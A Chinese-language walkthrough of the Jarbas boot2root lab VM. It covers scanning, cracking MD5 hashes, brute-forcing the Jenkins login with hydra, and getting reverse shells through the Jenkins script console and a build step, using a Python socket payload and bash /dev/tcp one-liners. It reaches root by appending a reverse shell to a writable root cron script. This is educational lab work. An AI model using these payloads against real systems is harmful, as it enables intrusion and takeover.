甄选靶机精讲系列(一)——Jarbas:你对Jenkins了解多少?

vulnhub: Jarbas官方下载

难度:⭐

前言

作为初学者入门的第1台boot2root类型靶机,Jarbas涵盖了一些常见的渗透技巧,其攻击链包含了渗透过程中常见的代码执行漏洞、计划任务提权等流程,同时也不乏一些细节上的考量。

看完这篇文章,你将了解面对大型CMS时的渗透思路,包括常见的反弹shell方式和类型;获得系统初始立足点之后,习得一些系统基本信息枚举的方法,以及常见提权的思路。

侦察

nmap广域信息收集

nmap作为一款风靡全球、经久不衰的开源网络扫描器,本身具有及其丰富的功能,支持各种扫描选项,包括但不限于:设定扫描速率、进行不同探测目标的扫描(即详细信息)等,并且可以将扫描结果以txt、html、xml等格式进行输出。

打开kali终端,使用nmap进行kali所在网段的主机发现

shell 复制代码
sudo nmap -sn 10.10.10.0/24

在nmap扫描中,使用sudo会进行更多的系统调用,就能使用更多的探测方法,从而提高探测的准确性和效率;-sn这个选项告诉nmap仅进行主机发现,而不进行端口扫描或服务探测。即只检查目标IP是否活跃,而不关心目标主机上哪些端口是开放的或运行了哪些服务。这是一种快速且低调的扫描方式,因为它不会在目标主机上留下太多痕迹。

在我的kali中,扫描结果如下:(仅作参考)

nmap 复制代码
┌──(rainbowpigger㉿kali)-[~]
└─$ sudo nmap -sn 10.10.10.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-22 11:52 EDT
Nmap scan report for 10.10.10.1
Host is up (0.00088s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 10.10.10.2
Host is up (0.00018s latency).
MAC Address: 00:50:56:F9:CD:83 (VMware)
Nmap scan report for 10.10.10.139
Host is up (0.00034s latency).
MAC Address: 00:0C:29:7D:34:C8 (VMware)
Nmap scan report for 10.10.10.254
Host is up (0.00021s latency).
MAC Address: 00:50:56:E7:AE:4F (VMware)
Nmap scan report for 10.10.10.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 14.98 seconds

其中,10.10.10.128是本地kali的IP地址,10.10.10.1是物理机的私网IP,10.10.10.2为网关,10.10.10.254为广播地址,10.10.10.139即为我们的靶机IP。

使用nmap进行TCP端口扫描

shell 复制代码
sudo nmap -sS --min-rate 10000 -p- 10.10.10.139

-sS选项即"半开放"扫描模式,执行SYN扫描,由于其无需完成TCP三次握手的完整过程,因此它相对较快且不会在目标主机上留下完整的连接记录,从而具有一定的隐蔽性;--min-rate 10000指定发送数据包的最小速率为10000,即每秒最少发送10000个数据包,在国内外大佬打靶中普遍采用这个数值,但在实际攻防过程,10000这个数值偏高,会造成网络拥塞甚至目标机器崩溃,因此实战中慎用! -p指定扫描端口,-表示所有端口(65535个)。

扫描结果:(仅作参考)

nmap 复制代码
┌──(rainbowpigger㉿kali)-[~]
└─$ sudo nmap -sS --min-rate 10000 -p- 10.10.10.139
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-22 11:57 EDT
Nmap scan report for 10.10.10.139
Host is up (0.00039s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
8080/tcp open  http-proxy
MAC Address: 00:0C:29:7D:34:C8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 19.41 seconds

扫描结果显示,开放端口:22、80、3306、8080,他们分别运行着ssh、http、mysql和http-proxy等服务

接着进行开放端口的详细信息扫描

shell 复制代码
sudo nmap -A -p 22,80,3306,8080 10.10.10.139

-A选项是-sV-O的结合,即探测运行服务版本并进行操作系统检测,不指定端口类型时默认以TCP端口进行扫描

扫描结果(仅作参考):

nmap 复制代码
┌──(rainbowpigger㉿kali)-[~]
└─$ sudo nmap -A -p 22,80,3306,8080 10.10.10.139   
[sudo] rainbowpigger 的密码:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-22 12:17 EDT
Nmap scan report for 10.10.10.139
Host is up (0.00060s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 28:bc:49:3c:6c:43:29:57:3c:b8:85:9a:6d:3c:16:3f (RSA)
|   256 a0:1b:90:2c:da:79:eb:8f:3b:14:de:bb:3f:d2:e7:3f (ECDSA)
|_  256 57:72:08:54:b7:56:ff:c3:e6:16:6f:97:cf:ae:7f:76 (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Jarbas - O Seu Mordomo Virtual!
| http-methods: 
|_  Potentially risky methods: TRACE
3306/tcp open  mysql   MariaDB (unauthorized)
8080/tcp open  http    Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
| http-robots.txt: 1 disallowed entry 
|_/
MAC Address: 00:0C:29:7D:34:C8 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.60 ms 10.10.10.139

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.58 seconds

其中,ssh-hostkey下为主机密钥指纹信息,在easy级打靶过程中基本不会用到;http-server-header中显示web服务器和PHP版本,在80端口嗅探的时候可能派得上用场;http-title显示站点名称;3306端口运行着mysql数据库;8080端口运行着Jetty服务,Jetty是基于JAVA的开源容器,说简单点儿,就是一个基于http协议的web服务器;再往后是OS版本,3.2-4.9应该是很低的了,目前linux内核大版本可以到6以上。

稍难一点儿的靶机还会做UDP扫描,不过在Jarbas这台easy级靶机上没有必要

80端口信息嗅探

80端口作为权重最大的板块,应当是我们重心与精力给予最多的一部分。在easy级靶机渗透过程中,80探测的优先级一般排在21、110、139、445之后。

打开浏览器,URL栏输入靶机IP,查看web主页

年代有点儿久远,看着有点儿像新葡京的UI

通过将光标悬停在超链接上,可以在页面左下角看到该链接跳转的页面,在如图所示的首页中,只有诸如10.10.10.139/#这样的锚点和一些外部链接;检查一下搜索栏的交互性可以发现,并没有和数据库互通,这仅仅是一个模板,没有任何的动态页面。

当web首页搜索完毕后,就应该挖掘该网站根目录下还有没有其他文件和界面

使用gobuster进行目录爆破

shell 复制代码
sudo gobuster dir -u http://10.10.10.139/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt

gobuster有很多命令选项,这里使用dir来进行目录枚举;-u--url,参数值为目标URL;-w--wordlist,参数值为使用的字典,这里使用的是gobuster的默认字典,在/usr/share/dirbuster/目录下;-x--extension,参数值为要枚举的文件名关键字,因为文件名一般都有扩展名,因此我们这里就使用扩展名作为关键字。

爆破结果(仅作参考):

gobuster 复制代码
┌──(rainbowpigger㉿kali)-[~]
└─$ sudo gobuster dir -u http://10.10.10.139/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.139/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 207]
/index.html           (Status: 200) [Size: 32808]
/access.html          (Status: 200) [Size: 359]
/.html                (Status: 403) [Size: 207]
Progress: 882240 / 882244 (100.00%)
===============================================================                                                                                                         
Finished                                                                                                                                                                
===============================================================

可以看到,http状态码为200的即为开放界面,index.html应该就是刚才那个jenkins主页;Status为403说明存在该文件,但是无权限访问;access.html不是web的常见文件,应该会有有价值的信息出现。

访问该页面,确实有一些我们感兴趣的内容

"凭据以一种安全的方式存储着!" 暗示了下面3条数据的敏感性。凭据通常格式为username:password,观察图中的password,仅有数字和a-f的字母组成,并且长度为32位,极大概率是md5格式加密,使用在线网站进行md5解密

md5的解密可以用在线网站,例如:www.cmd5.com(行业翘楚,看主页就知道,不过需要收费)、www.hashes.com(成功率也相当高)、www.somd5.com(仅支持md5解密) 或者在kali中采用命令行方式进行解密,例如:hashcatjohn等知名工具

解密后password为:

pass.txt 复制代码
italia99
vipsu
marianna

将用户名存放在user.txt里,解密出的密码存放在pass.txt

其他端口的信息嗅探

当得到多组凭据时,我们就应该思考他们会用在哪个环境下,在哪个登陆界面会作为正确凭据进入系统;在复杂的靶机中往往会存在许多干扰信息,会有很多种选择摆在面前,当然,由于这是一台easy难度的靶机,所以没有这些顾虑。根据端口扫描的结果,靶机22端口开放了ssh服务,尝试一下远程登录。

由于有多组凭据,可以使用hydra进行自动化操作

shell 复制代码
hydra -L user.txt -P pass.txt ssh://10.10.10.139

hydra是一款及其强悍的暴力破解工具,更多命令选项及参数将在后续靶机精讲中进行详细剖析

返回的结果似乎没有看到任何进展,也就是说这并不是ssh登录的凭据,但这并不意味着我们这一步操作就没有用,在后续的高难度靶机中,类似的兔子洞比比皆是,一些关键性的尝试是尤其必要的。

尝试连接靶机的数据库

shell 复制代码
mysql -h 10.10.10.139

终端显示没有足够的权限,也就是说靶机并没有授予其他IP远程访问的权限,那这条路显然是行不通的

访问8080端口,打开浏览器,URL栏中在IP地址后加上8080端口,访问主页,发现是jenkins的后台登录界面

任何可以与后端产生交互的地方都值得我们引起注意,如果我们没有得到凭据或者最先探测的不是80端口而是8080端口,可能我们会考虑检测有无sql注入或者XSS漏洞、弱口令等,但现在手握账号密码,就可以直接使用hydra进行自动化操作

shell 复制代码
hydra 10.10.10.139 http-post-form -s 8080 "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Jenkins-Crumb=820dc81c0730b970cdcd8b346ca26ef2&json=%7B%22j_username%22%3A+%221%22%2C+%22j_password%22%3A+%221%22%2C+%22remember_me%22%3A+false%2C+%22from%22%3A+%22%2F%22%2C+%22Jenkins-Crumb%22%3A+%22820dc81c0730b970cdcd8b346ca26ef2%22%7D&Submit=log+in:Invalid login information. Please try again." -L user.txt -P pass.txt

这里看着代码非常长,但其逻辑非常简单。鉴于登录平台是基于知名大型集成框架搭建的,当发送登录请求时,POST参数可能不只两个,此时可以借助BurpSuite抓包查看完整请求,主要看两点:1. 请求的目标路径,这里是/j_acegi_security_check;2. 完整的POST参数,即j_passwordj_usernamefromJenkins-CrumbjsonSubmit,看着很多,但都可以从BP请求包中复制过来

另外,hydra的POST方式爆破有一定格式要求,首先必须加上http-post-form标识,并且要写在[HOST]后面;-s指定端口;双引号内有2个冒号,第1部分为目标页面路径,第2部分指定所需要的参数,其中表单所需要的值用^USER^(用户名)和^PASS^(密码)变量表示,参数名即上述BP抓包得到的信息,第3部分为错误回显关键字;-L指定用户名字典,-P指定密码字典。

参考结果:

hydra 复制代码
┌──(rainbowpigger㉿kali)-[~/jarbas]
└─$ hydra 10.10.10.139 http-post-form -s 8080 "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Jenkins-Crumb=820dc81c0730b970cdcd8b346ca26ef2&json=%7B%22j_username%22%3A+%221%22%2C+%22j_password%22%3A+%221%22%2C+%22remember_me%22%3A+false%2C+%22from%22%3A+%22%2F%22%2C+%22Jenkins-Crumb%22%3A+%22820dc81c0730b970cdcd8b346ca26ef2%22%7D&Submit=log+in:Invalid login information. Please try again." -L user.txt -P pass.txt
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-23 01:53:45
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (l:3/p:3), ~1 try per task
[DATA] attacking http-post-form://10.10.10.139:8080/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Jenkins-Crumb=820dc81c0730b970cdcd8b346ca26ef2&json=%7B%22j_username%22%3A+%221%22%2C+%22j_password%22%3A+%221%22%2C+%22remember_me%22%3A+false%2C+%22from%22%3A+%22%2F%22%2C+%22Jenkins-Crumb%22%3A+%22820dc81c0730b970cdcd8b346ca26ef2%22%7D&Submit=log+in:Invalid login information. Please try again.
[8080][http-post-form] host: 10.10.10.139   login: eder   password: vipsu
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-03-23 01:53:46

得到正确登入后台的管理员凭据eder:vipsu

利用可执行语句构造反弹shell

进入管理后台,由于页面数量庞大、可执行操作巨多,因此我们需要给接下来的操作设立优先级。其中,优先级最高的是可交互性执行页面,例如发布html文本、添加shell片段、可上传文件或图片等;其次是设置选项,其中包含了限制性及可利用选项。就本台靶机而言,由于版本较老,因此暴露出的攻击面比较多,在此介绍两种反弹shell的方式。

法一:

系统管理 中,有一个 脚本命令行,可以进行基于groovy语法的命令交互,例如:

groovy 复制代码
println('whoami'.execute().text)

点击运行,在页面下方有回显

既然存在命令交互,那就可以考虑构造反弹shell,毕竟仅仅依靠web端的命令驱动操作起来实属不方便。经过尝试,常见的bash一句话反弹语句和php语句均不能实现目的,只能利用python生成反弹shell。这个结论不是一蹴而就的,网络环境错综复杂,需要不断试错,找寻最佳策略。

由于前端存在一些字符的限制与歧义,可以通过本地创建文件、远程操控靶机获取文件的方式执行文件然后getshell

首先在本地创建python文件reverse_shell.py,将准备好的payload放入其中(网上的许多payload都用不了,msf的也收效甚微),我从某博客平台上友好地取了一份:

reverse_shell.py 复制代码
#!/usr/bin/python

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.10.128",1000));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

用php启动一个内置web服务器

shell 复制代码
sudo php -S 0.0.0.0:80

sudo用于在低于1024端口上启动服务;-S启动内置web服务器;0.0.0.0:80监听所有网络接口的80端口。启动web服务器后,就可以在靶机上获取本地文件。

groovy 复制代码
println('curl -o /tmp/reverse_shell.py http://10.10.10.128/reverse_shell.py'.execute().text)

此处需要将文件下载到tmp目录下,不管是home还是var目录下都是没有权限的,可以通过touch /var/www/html/demo进行验证。

当kali出现下列提示时说明传输成功

kali 复制代码
┌──(rainbowpigger㉿kali)-[~/jarbas]
└─$ sudo php -S 0:80    
[Sat Mar 23 04:40:32 2024] PHP 8.2.12 Development Server (http://0:80) started
[Sat Mar 23 04:41:21 2024] 10.10.10.139:39046 Accepted
[Sat Mar 23 04:41:21 2024] 10.10.10.139:39046 [200]: GET /reverse_shell.py
[Sat Mar 23 04:41:21 2024] 10.10.10.139:39046 Closing

此时python文件应该处在tmp目录下,赋予执行权限

groovy 复制代码
println('chmod 777 /tmp/reverse_shell.py'.execute().text)

kali中使用nc启动监听

shell 复制代码
nc -lvp 1000

-p指定监听端口;-v开启详细模式(verbose);-l即入站连接。本地监听的方式很固定,至少在easy阶段有一半的靶机都需要用到这句命令。(注:-p需要作为最后一个选项)

web端远程执行文件

groovy 复制代码
println('/tmp/reverse_shell.py'.execute().text)

kali中出现以下显示即反弹shell成功

kali 复制代码
┌──(rainbowpigger㉿kali)-[~/jarbas]
└─$ nc -lvp 1000
listening on [any] 1000 ...
10.10.10.139: inverse host lookup failed: Unknown host
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.139] 55908
sh: no job control in this shell
sh-4.2$ 
法二:

新建任务 中往往存在一些文本编辑的选项以及可利用代码,以第一个项目为例

点击"确定"进入项目配置界面,在配置界面中,可选操作非常多,这一步就是靠经验,否则就很费时间,一不仔细就可能错过很多关键信息。如果各位认真观察,就会在"构建"一栏发现 可执行shell

直接在交互框中写入bash的反弹语句即可

bash 复制代码
bash -i >& /dev/tcp/10.10.10.128/1000 0>&1

点击"保存"后,语句并不会立即执行。在大多数的反弹shell靶机中,都需要进行额外的执行操作,譬如通过文件夹点击执行等方式。在此台靶机中,jenkins已经为我们准备好了"立即构建"选项

在"立即构建"之前,我们需要确保kali中已经开启了nc监听

shell 复制代码
nc -lvp 1000

当kali中出现以下显示即表示反弹shell成功

kali 复制代码
┌──(rainbowpigger㉿kali)-[~/jarbas]
└─$ nc -lvp 1000
listening on [any] 1000 ...
10.10.10.139: inverse host lookup failed: Unknown host
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.139] 55910
bash: no job control in this shell
bash-4.2$ 

枚举

到这里,我们已经获得了系统初始立足点。首先检查当前用户信息,使用whoami查看当前用户;使用id查看当前用户id及其所属用户组,uid在1000以下一般为功能性账号,1000及以上的是分配有bash环境的真实用户

bash 复制代码
bash-4.2$ whoami
whoami
jenkins
bash-4.2$ id
id
uid=997(jenkins) gid=995(jenkins) groups=995(jenkins) context=system_u:system_r:initrc_t:s0

然后检查系统基本状况,使用cat /proc/version查看linux内核信息;用ip a查看靶机IP及网卡相关信息

bash 复制代码
bash-4.2$ cat /proc/version
cat /proc/version
Linux version 3.10.0-693.21.1.el7.x86_64 (builder@kbuilder.dev.centos.org) (gcc version 4.8.5 20150623 (Red Hat 4.8.5-16) (GCC) ) #1 SMP Wed Mar 7 19:03:37 UTC 2018
bash-4.2$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 00:0c:29:7d:34:c8 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.139/24 brd 10.10.10.255 scope global dynamic ens33
       valid_lft 1282sec preferred_lft 1282sec
    inet6 fe80::9114:a460:aa3:9dd5/64 scope link 
       valid_lft forever preferred_lft forever

看内核也可以用uname -a,不过不及cat /proc/version详细

使用sudo -l尝试能否查看当前用户能以root权限执行的文件

bash 复制代码
bash-4.2$ sudo -l
sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for jenkins: 

需要密码,但因为我们是通过reverse的方式得到的shell,因此不知道该用户的凭据

如果使用sudo -l时系统提示没有tty,说明当前的shell等级太低,交互性不足,可采用以下方式解决

shell 复制代码
python -c "import pty;pty.spawn('/bin/bash')"

python、python3均可

使用cat /etc/passwd查看当前系统还存在哪些用户;使用ls -l /etc/shadow看能否读到shadow文件,shadow文件以哈希值的形式存放着所有用户的密码,在/etc/passwd文件中会以x占位表示

盘点完系统基本状态信息,接下来就要琢磨如何提升为root权限,这也是初期打靶最大的难点之一。提权无非就3种思路,B站的红队笔记在这点上讲的十分透彻。本台靶机就利用了低权限修改、高权限执行的提权思想。

查看系统有无计划任务

bash 复制代码
cat /etc/crontab

/etc/crontab中包含了一系列定时任务,并且其具有相对严苛的语法规则。例如在如下的查看结果中

bash 复制代码
bash-4.2$ cat /etc/crontab
cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed
*/5 * * * * root /etc/script/CleaningScript.sh >/dev/null 2>&1

第17行为计划任务,表示每5分钟以root身份执行/etc/script/CleaningScript.sh文件,并将所有输出定向到/dev/null中,相当于windows中的回收站,即扔掉所有该文件的输出内容;2>&1表示将标准错误输出定向至标准输出,说人话就是不管是报错信息还是正常输出内容都扔到垃圾桶里。

看到这里我们就不难想到,以root身份执行的文件,其本身运行时的权限非常高,不管文件里是什么内容,统一都打上了root权限的标签,因此如果我们可以往文件中添加一些提升当前shell权限的命令,就可以达到提权的目的。

查看计划任务的执行文件

bash 复制代码
bash-4.2$ cat /etc/script/CleaningScript.sh
cat /etc/script/CleaningScript.sh
#!/bin/bash

rm -rf /var/log/httpd/access_log.txt

CleaningScript.sh中有哪些内容已经无关紧要,只要我们有可写的权限,就可以如法炮制,通过反弹rootshell的方式实现提权

写入一句话bash反弹语句

bash 复制代码
echo 'bash -i >& /dev/tcp/10.10.10.128/999 0>&1' >> /etc/script/CleaningScript.sh

成功写入后的文件内容应该是这样的

bash 复制代码
bash-4.2$ cat CleaningScript.sh
cat CleaningScript.sh
#!/bin/bash

rm -rf /var/log/httpd/access_log.txt
bash -i >& /dev/tcp/10.10.10.128/999 0>&1

本地启用nc监听999端口,等待最多5分钟即可收到rootshell

bash 复制代码
┌──(rainbowpigger㉿kali)-[~/jarbas]
└─$ nc -lvp 999 
listening on [any] 999 ...
10.10.10.139: inverse host lookup failed: Host name lookup failure
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.139] 36566
bash: no job control in this shell
[root@jarbas ~]# 

结语

这是本系列的首台靶机精讲,其中提到的以及未使用的一些知名工具我将会在后续靶机中为大家娓娓道来;面对相同的环境与困境,总会有不同的解决方案,我将在后续文章中持续剖析不同的打法思维与技巧。

如果各位读者有任何本台靶机相关的疑问或者有对本台靶机更好的见解,欢迎随时对我进行信息轰炸,我将竭诚回复!

相关推荐
网络安全大白8 天前
黑客入门教程(非常详细)从零基础入门到精通,看完这一篇就够了
网络安全·黑客·渗透测试
hackeroink2 个月前
网络安全入门教程(非常详细)从零基础入门到精通
linux·学习·安全·web安全·黑客
合天网安实验室3 个月前
JMX 反序列化漏洞
java·黑客
合天网安实验室3 个月前
一道关于逆向的实战CTF题目分析
黑客·逆向
网络研究院3 个月前
Rejetto HFS 服务器存在严重漏洞受到攻击
运维·服务器·安全·黑客·漏洞·警告·hfs
知攻善防实验室3 个月前
[护网训练]原创应急响应靶机整理集合
web安全·网络安全·黑客·渗透测试
网络研究院3 个月前
泰国内部安全行动司令部数据泄露
网络·安全·黑客·数据·泄露·技术·威胁
sidiot3 个月前
【网络安全】「漏洞复现」(五)从 NextJS SSRF 漏洞看 Host 头滥用所带来的危害
前端·安全·黑客
YT89843 个月前
SSL/TLS、SSH、IPSec等安全协议的工作原理和实现方式
网络·网络协议·安全·网络安全·黑客·ssh·ssl
瑶山3 个月前
我的服务器被黑客攻击了!!
运维·服务器·黑客·木马·挖矿